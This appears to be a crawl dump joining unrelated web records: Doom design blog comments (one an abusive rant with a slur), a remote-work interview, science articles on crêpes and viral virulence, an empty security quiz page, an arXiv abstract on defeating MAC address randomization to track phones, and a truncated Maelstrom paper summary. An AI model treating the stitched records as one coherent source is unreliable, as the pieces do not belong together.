space and a bit of patience and they can take on anything in Doom. Well OK, maybe the Spider Mastermind (hitscan chaingun!) and Arch Vile (don’t be in his sights when he’s done!) kind of piss on that theory a bit but it’s mostly true! November 7th, 2010 at 9:47 am This article is brilliant. At age 29, I often feel like a grumpy old man when I compare current games to Doom (or Descent)… this codifies what I was feeling. I came here from a post on Reddit on a related topic: http://www.reddit.com/r/gaming/comments/e2ies/fps_map_design_then_and_now/ Thanks for writing this!! November 7th, 2010 at 3:44 pm Hey Nathan! Glad you found this post. I believe the place we first discussed it was the old “antifactory” site. It actually seems pretty common that exceptional or definitive features of classic games – stuff like Doom’s movement-as-dodging or Super Mario Brothers’ jump controls – were not thought of explicitly as design paradigms during development, but rather seem to have emerged from the sustained unconscious application of craft knowledge, honed by years of low-level implementation experience. “Game feel” is frequently difficult to talk about because of the combination of highly subjective and very specific technical factors… and yet, it seems central to the success of such games. It’s definitely something I want to explore further. November 8th, 2010 at 12:08 pm […] Coelacanth: Lessons from Doom Categories: Video games Tags: Analysis, Level Design, Link Comments (0) Trackbacks (0) Leave a comment Trackback […] November 9th, 2010 at 5:32 am […] não está longe da verdade. Jean-Paul LeBreton, um dos designers dos níveis do jogo Bioshock, defende que nos primeiros jogos tridimensionais, por exemplo, Doom (1993), os níveis foram baseados em […] November 11th, 2010 at 11:30 am There is, actually, one game which managed the same success as Doom: Trackmania. Due to backwards compatibility (TM United can load levels from TM Nations, TM Sunrise and TM Original/Power Up), easy to use track editor and intelligent system for adding custom content, there are over 1 000 000 user-built tracks available. And due to the existence of tm-exchange.com , which is a fan-made track exchange site, all of those tracks are available. It is possible to make a track in a couple minutes, fine tune in over few hours and publish it. November 18th, 2010 at 5:57 am […] genre and gaming industry, it had some constraints due to then-modern technology and game design. As this interesting article notes, those constraints made for a very different game from modern FPS games. Doom effectively played […] December 23rd, 2010 at 9:39 pm Another thing that was amazing about Doom was all the tricks developed by exploiting bugs in the engine, or by forcing its characteristics. Two of my favorites, invisible sectors and multiple player starting positions, but there were quite a few. Also special maps like #7 which featured special events once you killed all monsters of a certain type opened up very exciting possibilities for modifications. It was so challenging and exciting! This also affected players (I’m thinking of impassable lines that, in a certain direction, would give you extra speed when running alongside them), and some of the speed demos people came up with were simply unbelievable. I wonder if I will ever enjoy another game the way I enjoyed Doom, I doubt it… December 25th, 2010 at 9:16 pm I found your article incredibly interesting. I enjoy designing spaces and although they do not need to support gameplay with in them, taking ideas from games like DooM can lend a sort of realism in how they are laid out while keeping them fantastical. Even then, I’m not sure I agree with the trends of gameplay you stated. The slow projectile movement of DooM has instead been replaced by more advanced bot ai. In the example you mentioned, Halo, any good player will tell you staying in one place means death. The enemies have developed to a point where moving around makes it harder for them to hit the player, even if their weapons are hitscan. In DooM, the projectiles had to be slow to give the player a chance. The computer enemies were only capable of shooting straight at the player, no matter how mobile they were. Even the need to dodge slow moving projectiles has been kept, as seen in plasma weapons, the needler, and rocket launchers. Enemy variety is very much still a part of modern video games. Gears of War is one of many examples. It has normal soldiers, fast soldiers, melee enemies, suicide bombing enemies, large and slow enemies, enemies with impenetrable shields, and even soldiers that ride on top of a fast melee enemy. Instead of backing away from enemy variety, many games have pushed it to new heights. In Dead Space, enemies mutate as they are damaged. The FPS genre has also added an alternative to enemy variety that has only become possible with faster, more spacious computers. The Call of Duty franchise features enemies that are all essentially the same. Instead, it introduces new mechanics with each scene. Everything from stealth to flying a chopper to having to call in airstrikes on tanks keeps the game fresh. The enemies can only have so much diversity before the game starts to loose its realistic feel. What I would like to see is a mix of variety in enemies and mechanics. The Gears of War example mentioned above includes some vehicle levels and some where periodic rain means death for anything caught in the open but for most of the game, the player has to fight off different enemies in the same way. That said, even as games evolve, the principles developed in pioneering games like DooM will always be important to the genre. Great Article, thank you for posting January 23rd, 2011 at 7:51 am […] Coelacanth – Lessons from Doom […] April 8th, 2011 at 2:52 pm @Ben: Halo players tell other halo players not to sit still in Deathmatch, not single player. In the single player campaign, it is often necessary to fall back and wait for a few seconds for your shield to recharge. It is possible to do this because the enemies are usually to stupid to chase you down and finish you off while you are weak. Your statement that computer enemies were only capable of shooting straight at the player is also unfounded. In fact, quickly strafing around zombie men will often cause them to miss you by up to 45 degrees. And the modern dodging of plasma weapons and rockets in games like Halo is nigh impossible; the projectiles almost always travel too fast and the players almost always move to slowly. June 14th, 2011 at 12:59 am […] (Source: Coelacanth: Lessons from Doom | vector poem) […] June 14th, 2011 at 10:47 am Sheridan: you’re actually *precisely* wrong about zombie men; the reason they can miss like that is entirely b/c they are only capable of shooting directly at the player, but are not permitted to shoot immediately. Algorithm is like: – (1) choose direction to fire (this is always directly at player’s current position) – (2) wait for a brief delay (cannot change firing direction) – (3) fire weapon (in direction chosen in 1) When they miss like that it’s b/c the payer moved between (1) and (3). This delay is in the game to make it possible to dodge enemies with instant weapons. June 23rd, 2011 at 7:42 pm Just wanted to thank you for this post – really hits the nail on the head as to why Doom holds up years and years later, and summarizes its strongest but least-imitated virtues July 20th, 2011 at 5:14 am I just wanted to say that I agree with the agile/speed comment. I would also add the huge cult success of Serious Sam can be directly contributed to similar factors in movement, for both the player and enemies. Perhaps mention this as well? Good article. July 24th, 2011 at 3:22 pm I recently wrote a post comparing Classic DOOM to classic Mario games, and a commenter linked me to this post. Very well written. My post, if you’re interested: http://handsomefatman.com/carlos/classic-doom-pioneered/ September 20th, 2011 at 8:07 am Although I agree Doom does not feel like modern shooters, it does not feel like 2D shooters in the least. Not having an overhead view of everything drastically changes gameplay. “This is what Doom’s designers were working from in 1993 – back then, the idea of a first person shooter was barely established, and their closest models for many mechanics were from 2D shooters like Robotron, Berserk and Tempest.” You must be trying to troll me? Well, you’ve succeeded, I’m right pissed off. It was my experience, having lived through a the evolution of FPS games, that Fully Immersive Virtual Reality Games (complete with VR Headsets) existed well before Doom… In fact in 1991 the Virtuality game system existed. With it I played Dactyl Nightmare and Exorex. Both WHILE Doom was in development. Are you saying ID didn’t have such games to work with? These may not have been the ones, but the CLOSEST games to draw game play from were 2D?! I think Not! Just because you have chosen to be an ignorant Philistine and ignore the OVER TWENTY YEARS of 3D First Person Shooters PRIOR to Doom, doesn’t mean we all have. JP, you sir, are part of the problem, not part of the solution. Are you so overly self-absorbed that your retarded revelation that using the IDDT cheat makes Doom into a 2D Shooter to even SEARCH the Internet we build for you before spouting your mindless drivel?! Here! I shall hold your hand: http://en.wikipedia.org/wiki/First-person_shooter#Early_first-person_shooters:_1970s_to_early_1990s Name ONE. Just ONE 2D Shooter where you can see all the enemies positions, and they only know where you are via 3D Line of Sight calculations… As is played in the IDDT Debug cheat you reference. Robotron My Ass! “The notion of realism in FPS design wouldn’t appear for another few years” — What Nonsense IS This?! You sir have slapped me, and the ENTIRE 3D INDUSTRY in the face — Damn your small-minded self-centered mental masturbation puff-piece to HELL! ID Made THREE Catacombs FPS games for Softdisk before Wolfenstein3D — Where were YOU? These were all slow paced FPS games, Heavily Concerned with Adding MORE realism in each iteration! o_O Romero’s Vision of a Fast Paced Visceral FPS, and THOUSANDS of hours of play-testing honed Doom into what it was. Back-pedal all you want, It still doesn’t change the fact that your assumptions and comparisons are WRONG! Where were YOU, when I was playing a FULLY 3D First Person Perspective Shooter in 1986: Starglider, and the sequel with filed 3D Polygonal MODELS in 1988, on my Home PC, Seven and Five years respectively BEFORE Doom’s release?! The 3D and FPS Industry helped to sell computers in the 70’s, 80’s & 90’s… Furthermore, The Demo Scene’s 3D contributions were heavily influential to nearly ALL game designers of the era… Where were YOU when the SACRIFICE was made to abandon True 3D game play and graphics for the sake of TEXTURES and REALISM!? The 2.5D Era of Textured Graphics evolved from the FULLY 3D FPS game world, NOT the 2D world AT ALL. There were Hundreds if not Thousands of FPS games, even Gun Toting Games that were very unrealistic with their “plastic” and futuristic solid filled polygon feel that would have made EXCELLENT comparisons to back your Article’s Agenda… …But Nooo, You Finally decide to make a Doom Map, and all of a sudden you think you’re some wise Oracle, about to educate today’s gamers of the Trials and Tribulations that led to the Revolution in 3D FPS Games?! JP, You of ALL people should have known better. YOU DISCREDIT and Disrespect Yourself via this article! “It’s better to keep quiet and have others think you a fool than to open your mouth and remove all doubt.” I would have thought that YOU of ALL People, a Respected individual in the 3D Industry, would care the slightest bit about the Founders and Trail blazers upon who’s shoulders you stand to at least learn something of your roots… If not for your own edification, at the very least before spouting this nonsense to the masses. We payed a HEAVY toll as gamers and game makers to make 3D relevant despite the insane costs and an unsure future — Tempest? Berserk?! I would laugh if it wasn’t so disgracefully ignorant. Look, just because YOU don’t have any prior 3D FPS experience to draw from to make valid comparisons via doesn’t mean your first naive assumption is correct. I agree that Doom has game play mechanics that are lost to most of today’s FPS playing generation, but Smith and Wesson were NOT influenced by a Neanderthal’s flint tipped spear! Additionally, if you actually record a demo of your gameplay in FPS, then record one of the same level in “Top Down IDDT” mode and compare the results — You’ll see two VERY different game-plays. Omniscience and First Person Perspective are wholly game changing factors, even when the same map is played. I concede your point that an interesting game-play mechanic is largely under utilized, but your attempted execution to convey this severely hampered by your flawed premise. “[M]any decisions were made simply on the basis of being good for abstract shooter gameplay.” This statement was true of nearly ALL prior FPS Games! Doom did not evolve from it’s map-mode into the 3D game it is today. Sharing some small mechanic in PART of a game’s play is not enough to make such strong statements. Correlation dose not imply Causation! Critical Thinking, Man! Learn It! Clearly good my opinion of you was wrong. September 25th, 2011 at 12:07 pm Hey man, there is no need for such anger! (though some parts of the post were informative, didn’t know about virtuality, that feels so retrofuture 🙂 I revisited this article again and seem to like even more some points. I think my I have formed new brain cells suitable for doom playing, strafing, knowing the strengths and weaknesses of each monster, going into a room full of monsters, my brain in automatic controls knows which to finish first or where to hide, that happens after playing doom WADs for several years, though the strafe defense, variety of monsters help in this and this is really something I cannot find in any other modern FPS. All these elements and the community makes me still enjoy playing doom more than anything else, but maybe it’s my brain cells evolved to play this game. November 10th, 2011 at 9:22 am Hey folks, I have to disallow comments on this post, it’s drawing too much spam. January 25th, 2012 at 8:46 pm […] reminded of an excellent essay on the lasting appeal of the original Doom, which had infinitely less believable environments but which turned that into a virtue: While some […] December 29th, 2012 at 1:54 pm […] segundo es un viejo pero interesante artículo sobre cómo innovar en los videojuegos no siempre es sobre ir en direcciones desconocidas, sino ir al orig…, usando como ejemplo al viejo Doom de […] September 20th, 2013 at 7:34 am […] Lessons From Doom […] September 20th, 2013 at 9:24 pm […] Lessons From Doom […]

2024-10-12 00:00:00

2010-02-28 00:00:00

vectorpoem.com

vectorpoem.com

http://venturefizz.com/blog/octane-josh-feast-ceo-founder-cogito

https://content.remote.tools/ex-google-current-coda-architect-shares-personal-remote-stories/

ex-Google, current Coda Architect shares personal remote stories

Al Chen

## 1. Hey, can you please introduce yourself? My name is Al, and I’m a solutions architect at Coda. Coda is an all-in-one doc that gives you all the building blocks you need to run your team’s projects. A little bit about my history: I was born and raised in Michigan, went to NYC to study finance, and started my career at Google in the Bay area. During my time at Google I fell in love with data 😍. I know that sounds a bit extreme, but I honestly wouldn’t be here today if it wasn’t for Excel spreadsheets, SQL, and the Internet. I’ve always had a fascination with computers and tech, and the last few years have experimented with multiple SaaS and cloud platforms. Before joining the Coda team, I was a freelance Excel consultant, and got really involved with the Excel community in NYC during my years as a freelancer. This photo is from the Modeloff Financial Modeling competition where Excel gurus from around the world “compete” to be the world’s best financial modeler. I’m proud to be a part of this community and encourage more Excel enthusiasts to participate! ## 2. What motivated you to choose remote working? It was out of necessity, really. When I left Google to pursue my own startup and work as a freelancer, I bounced around my apartment, co-working spaces, coffee shops, and even the public library. I chased good Wi-Fi anywhere I could find it in NYC. It was strange at first since I was basically thrown into the remote world and didn’t have a playbook on how to do it. Like many things in life, I learned to adapt to my new world by buying the right equipment, packing my backpack properly if I planned on being out most of the day, and got really good at e-mail and writing notes. Over time, I realized two things about remote work that motivate me to continue a lifestyle of remote work: **Productivity**– Without unnecessary meetings and face-to-face time, I am extremely productive and am able to block off large parts of my day for deep work.**Flexibility**– By not having to go into an office every day, I am able to work from anywhere which means I can travel if I want to, run errands in the middle of the day, and do things that I otherwise wouldn’t be able to do if I was in a 9-to-5 job. With my current role at Coda, I am still working remotely in NYC but there is a little more structure to my day (which I like). I definitely appreciate the nomadic lifestyle, but it’s not something I could do for a month or year. Having a weekly cadence to my meetings and projects does give me a sense of stability and also keeps me “plugged in” with the rest of my team on the west coast. *My current workplace setup* ## 3. What were your initial months like? Did it live up to your expectations? I can speak to my first few months at Coda, since I started working remotely right after I joined the company. I didn’t have a physical office yet, so my first few months were spent at home. It was definitely hard to work from home because Wi-Fi in NYC is notoriously unreliable, and my apartment building is no different. My Zoom calls would be very choppy and other things would just be slow. Makes you really appreciate good Wi-Fi! Nonetheless, my experience was really positive because I was able to adapt my schedule to that of my colleagues on the west coast. Since I knew they were generally still asleep from 9-12PM ET, I did a lot of errands and went to the gym in the mornings since there is less going on then. Pushing all my personal responsibilities to the morning had a different impact on my life. Tim Ferriss has talked about morning rituals to win your mornings, and it can be something as simple as making your bed. For me, I’ve already gone to the gym, went to the doctor, fixed a leaky toilet, and wrote a blog post before my team has even woken up. All these activities allow me to “win my mornings” and makes me feel accomplished before my day has officially started. This is why I wouldn’t succeed as a true digital nomad. Having some structure and routine to my day means I can accomplish small goals and then work on the big projects with the broader Coda team. As a digital nomad, you are most likely jumping from project to project the *entire* day, and I feel that it may be more difficult to “win” the morning in these cases. ## 4. How did you find remote working roles? The way I found my current role was through my friends and professional network. There are countless websites with job postings for remote workers, but I think if the company really values your skillset and more importantly, wants to stay *competitive* in the current business environment, they have to embrace remote workers. Had it not been for some strong referrals from previous colleagues, I don’t think my current company would’ve been open to me working remotely. Having said that, I spent a lot of time the first 3-6 months traveling to the west coast to build relationships with the team since I didn’t want to be that one person who everyone just knows through a small Zoom window. Some people think that remote work means you can just hide away and never interact with colleagues who care about you more than just the work you produce. I think one of the most important aspects of remote work is putting in the extra effort to get to know your team whether they are distributed or not. ## 5. What have been the best, good and worst aspects of remote working for you? The best aspects of remote work are **flexibility **and **productivity **as I mentioned earlier. I am currently in a WeWork co-working space, so another positive aspect is that I get to interact with others who are in a similar position as me. Many people here are also remote workers and we don’t get that intra-office feeling with people you share the same goals with. Instead, we can talk to each other about our experiences working remotely and it makes me feel like I have a trusted colleague right here in my office, even though they don’t work at the same company as me. The worst aspect for many, I presume, is loneliness. I get this question asked all the time by my friends but also my colleagues as well. I don’t feel lonely since I have been proactive about meeting others in my co-working space, attending meetups, and joining online communities that have similar professional interests as me. Personally, the worst aspect is not being able to have a casual coffee with my co-workers where I can get to know them on a personal level. While Zoom and Slack help with bridging the gap, nothing beats the 1:1 interaction you have when you can look into someone’s eyes and notice non-verbal cues. This is why I value my trips to the west coast so much to see my team ✈️! *Picture of a meetup at my co-working space where I can interact with humans, yay!* ## 6. What tools do you swear by while working remotely? I am biased here, but Coda is my main tool for getting work done. The way my Coda docs have evolved and grown over time is a direct result of my team’s projects, culture, and cadence for getting work done. More importantly, everythingwe do internally is well documented (and I contribute to this documentation whenever I can) so that I can work asynchronously. Tools that allow you to work asynchronously are a big discovery for me as a remote worker, and I’m glad that Coda is part of this family. *Do you have a sea of Google Docs and Sheets tabs like this? If yes, you need to use Coda 🙂* Coda has replaced all my Google Docs, Google Sheets, and some Google Slide decks so those are no longer tabs that take up space in my Chrome. As a remote worker, most of your time is probably spent in Chrome or Firefox where you’re building, writing, and creating in various online tools (unless you are working with specialized software like video editing software). Other digital tools are Slack and Zoom for communication and meetings with my team. One of the reasons I don’t feel lonely as a remote worker is because I have numerous Zoom meetings with my team out west so I have a lot of chances to catch up and engage some banter with my teammates. A physical tool I cannot live without is my headset which I bought for $20 on Amazon 🎧. Having a wired headset with a stick mic ensures good audio quality for my Zoom meetings and calls. Everyone hates being on calls where one person forgets to mute their mic, or there is a ton of static on the line. Don’t be that person when you work remotely! Invest in a good headset with a mic. ## 7. Your most exciting/ hilarious experience since you started working remotely. This is more of a logistical issue that led to a hilarious experience, but when I first started working remotely from my apartment the first few months, the air conditioner in my living room broke. It was the middle of a hot NYC summer and the living room is where I get all my work done and do all my Zoom calls. My bedroom has an AC unit, but it was too difficult to get work done there so I just stayed out in the humid living room. Inevitably, I would start working without a shirt on and would be constantly wiping sweat off my body. I dreaded Zoom calls while my air conditioner was getting fixed because I had to put on a shirt for the call, and my teammates could tell that I looked uncomfortable over video. I made it pretty clear that if it wasn’t for the Zoom call, I wouldn’t be wearing a shirt! ## 8. What is your golden advice to a new remote worker? Main advice is to be a good communicator across *all *channels. This means e-mail, Slack, Zoom, online forums, etc. A lot of people say they have good “communication skills,” but it’s a whole other ballgame when it comes to remote work. If you are freelancing, some of your clients may have strict guidelines on project updates, check-ins, and coming on-site if necessary. Other clients may not have experience with hiring remote workers, so you have to establish the expectations and rules on how often you will communicate with your clients. When in doubt, over communicate. Log every decision, thought, idea, and mistake you make so that your colleague or client know exactly what went through your head as you complete your work. Then send regular emails and Slack messages with those updates so that your counterpart never has an excuse for missing your updates. ## 9. How do you see your career shaping up and your goals? I don’t have a 1-year or 5-year plan, since I think career paths are a bit too rigid especially for remote workers. Who starts their career knowing that they want to be a remote worker by year 4? It usually is a result of your personal circumstances and situation, rather than being driven by career aspirations. Having said that, my only goals as a remote worker is to continue building relationships with my teammates and helping our users succeed with our platform. ## 10. How do you expect remote working to evolve in the future? I believe remote work will be more commonplace in the future and more co-working spaces will pop up to support these digital nomads and distributed teams. In the most extreme case (and this may not be that extreme in say 5 years), companies will have 100% distributed teams and we’ll all be connected through virtual worlds. The best example of this is this virtual real estate company that has 13,000 agents and staff but no physical office 😲. They all stay “connected” through browsing around a virtual world like the Metaverse from *Snow Crash* .

In our first chapter of the Remote working Chronicles, ex-Google, current Coda Architect shares his personal story as a remote worker.

2024-10-12 00:00:00

2019-10-04 00:00:00

article

remote.tools

Remote Work Hub

http://www.codekoala.com/blog/2009/mar/13/announcing-django-ittybitty-010-pre2/

https://medium.com/crypto/transparency-is-the-cure-to-blockchains-shady-reputation-343a8c465a2e

https://massivesci.com/articles/making-perfect-crepes-simple-scientific-experiment-important-results/

Scientists have shown the perfect way to make pancakes, and that has huge implications

Molly Sargen

Photo by Gabriel Gurrola on Unsplash # Scientists have shown the perfect way to make pancakes, and that has huge implications Some science is labeled "silly" by the media and politicians, but don't be fooled — simple research is extremely important Making perfect crêpes can be tricky, but science may have just made breakfast easier. Researchers in France have developed a computer algorithm to demonstrate the best way to pour the batter and tilt the pan to make perfectly flat crêpes. Admittedly, flipping pancakes seems like a frivolous thing to do in a lab, but experiments that sound silly often help scientists answer important questions — the implications of which stretch far beyond the kitchen. Simple experiments are the foundation of science. The simpler the experiment, the easier it is to analyze the results, draw conclusions, and design future research. Many of these experiments involve everyday objects or tasks that seem too basic for scientists to investigate. In reality, this kind of research can be applied to complex phenomena, and inspiration from everyday objects often leads to new scientific insights. For example, when the lead scientist in the aforementioned crêpe study was wondering how to make his crêpes cook more evenly, he realized the way that crêpes solidify in a pan is reminiscent of coating surfaces with films of plastic, metal, and even chocolate. Using pancakes allowed his team to model how gravity affects materials solidifying on a surface, which has applications to manufacturing circuit boards and solar cells. Alternatively, researchers may deliberately choose a basic material to model a system that is more difficult to study. Researchers at Cornell and MIT once spent months breaking spaghetti, and even developed a device to do it more precisely. From a pasta eater's perspective, this study is only helpful in that they determined that you can prevent your uncooked spaghetti from shattering if you twist and bend it at the same time. (Unfortunately, you have to do it one piece at a time — and they aren’t selling their device!) More importantly, this helped them model how any brittle rod breaks, and how twisting affects the fracture. Understanding this is critically important for designing bridges and other structures built with rods. Other experiments might seem silly because they return results that seem obvious. Scientists do these experiments because they need evidence for basic principles before studying more complex processes. In 2016, for instance, scientists at the University of Oxford asked people how close they were with their Facebook friends, and determined that only a fraction of someone’s Facebook friends are true friends. Sure, this seems obvious (who could really be friends with 3,000 people?), but scientists needed baseline data to compare online friendships with offline friendships. The researchers were then able to determine that human friendship has similar limits online and offline. This kind of incremental evidence is crucial to building general theories about friendship. In other situations, doing an experiment to establish evidence for a long-held belief can yield unexpected results. Until recently, researchers and economic experts believed financial gain motivated dishonesty. To test this, researchers “lost” 17,000 wallets around the world and waited for people to return them. Shockingly, wallets containing more money were returned at a higher frequency than those with little or no money. Additional data suggested that an aversion to viewing themselves as thieves motivated people to return the wallets. Although this series of experiments was straightforward, the results unexpectedly debunked a widely-held belief about human behavior that could have inaccurately influenced future research. That's why doing a simple experiment to prove something that seems obvious is good practice. Unfortunately, press coverage about these types of experiments sometimes omits important details about the scientists’ motivations or the wider implications of their findings, leaving readers with a false impression. In fact, competition for federal funding continues to increase as politicians deem fewer experiments "worthy". But the misconception that scientists sit in a lab eating pancakes, playing with spaghetti, or stalking people on Facebook couldn’t be further from the truth. Prestigious, peer-reviewed academic journals published each of the experiments above before popular media and politicians ever reported — or distorted — the findings. To reach publication, experts thoroughly critique the experimental design, data, and conclusions, which that can take months. Carrying out an experiment and publishing the results is a lengthy and expensive process, so no scientist would waste time on something frivolous. Experiments don't always make sense out of context, so it's worth looking at the original publication and reading the abstract or introduction. These sections will usually tell you what the authors really wanted to know. But even if you don’t have a chance to read the paper yourself, you can rest assured that there was a greater purpose to that unconventional experiment than the headline. I loved this article. Coming up with a simple way to test a concept can be more satisfying than developing a highly complex experimental design. Simple can be more economical, too! I wonder how much cost motivated the researchers to come up with these methods. Personally, there have been tons of times in which funding limitations forced me to be scrappy, and I ended up figuring out cheap ways to do things using what was already around the lab. The next time I’m in one of these situations, I’ll be sure to check my kitchen as well!

Some science is labeled "silly" by the media and politicians, but don't be fooled — simple research is extremely important

2024-10-12 00:00:00

2019-09-30 00:00:00

article

massivesci.com

Massive Science

https://medium.com/i-m-h-o/9c2217829897

https://www.reddit.com/r/sysadmin/comments/i1xauc/fck_salesforce_or_how_i_migrated_away_from_sf_in/

http://timoh6.github.io/WebAppSecQuiz/

Web Application Security Quiz

*Web Application Security Quiz* tests your knowledge on the common security principles and quirks related to web application development. There are questions. A correct answer adds one point. An incorrect answer subtracts one point. If you don't know the right answer, you can skip the question (no points are added or subtracted). Heads Up! Apr 04, 2014 - A new questions, #18, added. Heads Up! Sep 05, 2013 - Two new questions, #16 and #17, added. Heads Up! Jun 12, 2013 - The correct answers with commentary is now availabe at answers.html. **Question: / ** Correct answers | Incorrect answers | Skipped | ---|---|---| # | Question | Your Answer | Correct Answer | ---|---|---|---| View answers with commentary (leaves the quiz) http://timoh6.github.io @htimoh Questions version 1.3.2

2024-10-12 00:00:00

2014-04-04 00:00:00

http://blog.jpl-consulting.com/2012/01/design-in-a-pinch-simple-extrapolation/

https://www.newscientist.com/article/2115987-viruses-may-have-evolved-to-hit-men-hard-but-go-easy-on-women/

Viruses may have evolved to hit men hard but go easy on women

Author Fullname; Sam Wong

Is man-flu a quirk of viral evolution? Some viruses might cause weaker symptoms in women than in men because it makes them more likely to spread. Many infections cause more severe illness in men than women. Men infected with tuberculosis are 1.5 times more likely to die than women; men infected with human papillomavirus are five times more likely to develop cancer than women; and men infected with Epstein-Barr virus are at least twice as likely to develop Hodgkin’s lymphoma as women. Many think this pattern is because of differences between the sexes’ immune systems. But another explanation is that women are more valuable hosts. Women can pass infections to their children during pregnancy, birth and breastfeeding, so there’s an evolutionary pressure on viruses to be less harmful to them, say Francisco Úbeda and Vincent Jansen at Royal Holloway University of London. Advertisement ## Mother to child In order for a virus to infect others, it needs to produce more copies of itself in the body. Making their host ill is an unavoidable consequence of this. “That’s not something a pathogen particularly sets out to do because it’s shooting itself in the foot, should it have one,” says Jansen. The researchers used mathematical modelling to show that, for pathogens that affect both sexes, natural selection in theory should favour those that cause less illness in women – as long as they can be transmitted from mother to child. This evolutionary pressure, they argue, could explain a longstanding puzzle: why human T-cell lymphotropic virus type 1 (HTLV-1) progresses to leukaemia much more commonly in Japanese men than Japanese women, but affects both sexes equally in the Caribbean. They argue that this discrepancy is because women breastfeed their babies more commonly and for longer in Japan – giving the virus more opportunity to enter another host. For this to be the case, though, the virus would have to be able to detect whether it’s inside a man or a woman. We don’t yet know how it would do this, but it’s not impossible, says Jansen. “There are all sorts of hormonal and other pathways that are slightly different between men and women,” he says. If we were to identify a mechanism, that would open the possibility of manipulating it. “We could try to make the virus think it’s in a female body rather than a male body and therefore take a different course of action,” says Jansen. ## Sex differences The study emphasises the need to conduct clinical trials in both sexes, rather than predominantly in men as is often the case, says David Duneau, an evolutionary biologist at the University of Toulouse, France. “The parasites themselves are behaving differently in males and females, so we need to know what they do in both sexes,” he says. It’s refreshing to consider pathogen evolution as an alternative explanation for sex differences in diseases, says Sabra Klein, who researches differences in immune responses at Johns Hopkins Bloomberg School of Public Health, Baltimore. But she says the model’s assumptions about HTLV-1 transmission in Japan and the Caribbean ignore other variables – such as ethnicity or culture – that could also be involved. Jansen now plans to look at animal diseases, such as retroviruses that cause cancer in chickens. “When flocks of chickens are infected with a particular virus, we see that more of the male chickens develop tumours than females,” he says. Could selection pressure on viruses bolster men’s claims that they are affected more strongly by colds or flu? It wouldn’t be expected, says Jansen, as mother-to-child transmission isn’t an important route for flu viruses. “To me, man-flu sounds like an excuse for men not to go to work,” he says. Journal reference: *Nature Communications*, DOI: 10.1038/ncomms13849 Topics:

Many infections give men worse symptoms. Mathematical models suggest this could be because women can pass infections on to others in several extra ways

2024-10-12 00:00:00

2016-12-13 00:00:00

article

newscientist.com

New Scientist

https://www.ibr.cs.tu-bs.de/users/goltzsch/papers/mw19-acctee.pdf

https://arxiv.org/abs/1703.02874

A Study of MAC Address Randomization in Mobile Devices and When it Fails

Martin; Jeremy; Mayberry; Travis; Donahue; Collin; Foppe; Lucas; Brown; Lamont; Riggins; Chadwick; Rye; Erik C; Dane

# Computer Science > Cryptography and Security [Submitted on 8 Mar 2017 (v1), last revised 31 Mar 2017 (this version, v2)] # Title:A Study of MAC Address Randomization in Mobile Devices and When it Fails View PDFAbstract:MAC address randomization is a privacy technique whereby mobile devices rotate through random hardware addresses in order to prevent observers from singling out their traffic or physical location from other nearby devices. Adoption of this technology, however, has been sporadic and varied across device manufacturers. In this paper, we present the first wide-scale study of MAC address randomization in the wild, including a detailed breakdown of different randomization techniques by operating system, manufacturer, and model of device. We then identify multiple flaws in these implementations which can be exploited to defeat randomization as performed by existing devices. First, we show that devices commonly make improper use of randomization by sending wireless frames with the true, global address when they should be using a randomized address. We move on to extend the passive identification techniques of Vanhoef et al. to effectively defeat randomization in ~96% of Android phones. Finally, we show a method that can be used to track 100% of devices using randomization, regardless of manufacturer, by exploiting a previously unknown flaw in the way existing wireless chipsets handle low-level control frames. ## Submission history From: Travis Mayberry [view email]**[v1]**Wed, 8 Mar 2017 15:32:46 UTC (34 KB) **[v2]**Fri, 31 Mar 2017 14:38:09 UTC (34 KB) # Bibliographic and Citation Tools Bibliographic Explorer *(What is the Explorer?)* Litmaps *(What is Litmaps?)* scite Smart Citations *(What are Smart Citations?)*# Code, Data and Media Associated with this Article CatalyzeX Code Finder for Papers *(What is CatalyzeX?)* DagsHub *(What is DagsHub?)* Gotit.pub *(What is GotitPub?)* Papers with Code *(What is Papers with Code?)* ScienceCast *(What is ScienceCast?)*# Demos # Recommenders and Search Tools Influence Flower *(What are Influence Flowers?)* Connected Papers *(What is Connected Papers?)* CORE Recommender *(What is CORE?)*# arXivLabs: experimental projects with community collaborators arXivLabs is a framework that allows collaborators to develop and share new arXiv features directly on our website. Both individuals and organizations that work with arXivLabs have embraced and accepted our values of openness, community, excellence, and user data privacy. arXiv is committed to these values and only works with partners that adhere to them. Have an idea for a project that will add value for arXiv's community? **Learn more about arXivLabs**.

MAC address randomization is a privacy technique whereby mobile devices rotate through random hardware addresses in order to prevent observers from singling out their traffic or physical location from other nearby devices. Adoption of this technology, however, has been sporadic and varied across device manufacturers. In this paper, we present the first wide-scale study of MAC address randomization in the wild, including a detailed breakdown of different randomization techniques by operating system, manufacturer, and model of device. We then identify multiple flaws in these implementations which can be exploited to defeat randomization as performed by existing devices. First, we show that devices commonly make improper use of randomization by sending wireless frames with the true, global address when they should be using a randomized address. We move on to extend the passive identification techniques of Vanhoef et al. to effectively defeat randomization in ~96% of Android phones. Finally, we show a method that can be used to track 100% of devices using randomization, regardless of manufacturer, by exploiting a previously unknown flaw in the way existing wireless chipsets handle low-level control frames.

2024-10-12 00:00:00

2017-03-08 00:00:00

/static/browse/0.3.4/images/arxiv-logo-fb.png

website

arxiv.org

arXiv.org

https://blog.acolyer.org/2018/10/24/maelstrom-mitigating-datacenter-level-disasters-by-draining-interdependent-traffic-safely-and-efficiently/

Maelstrom: mitigating datacenter-level disasters by draining interdependent traffic safely and efficiently

Adrian Colyer

Maelstrom: mitigating datacenter-level disasters by draining interdependent traffic safely and efficiently Veeraraghavan et al., *OSDI’18* Here’s a really valuable paper detailing four plus years of experience dealing with datacenter outages at Facebook. *Maelstrom* is the system Facebook use in production to *mitigate* and *recover from* datacenter-level disasters. The high level idea is simple: *drain* traffic away from the failed datacenter and move it to other datacenters. Doing that safely, reliably, and repeatedly, not so simple! Modern Internet services are composed of hundreds of interdependent systems spanning dozens of geo-distributed datacenters. At this scale, seemingly rare natural disasters, such as hurricanes blowing down power lines and flooding, occur regularly. How regularly? Well, we’re told that Maelstrom has been in production at Facebook for over four years, and in that time has helped Facebook to recover from over 100 disasters. I make that about one disaster every two weeks!! Not all of these are total loss of a datacenter, but they’re all serious datacenter-wide incidents. One example was fibrecuts leading to a loss of 85% of the backbone network capability connecting a datacenter to the FB infrastructure. Maelstrom had most user-facing traffic drained in about 17 minutes, and the all traffic drained in about 1.5 hours. Once the backbone network was repaired, Maelstrom was used to restore traffic back to the datacenter. Also in that disaster count are service-level incidents caused by software errors (bugs, misconfigurations). An alert will inform operators of a serious situation, and the operators then need to decide whether to revert the offending change(s) or fix forward after diagnosing the problem. As we saw last week, identifying the offending changes can 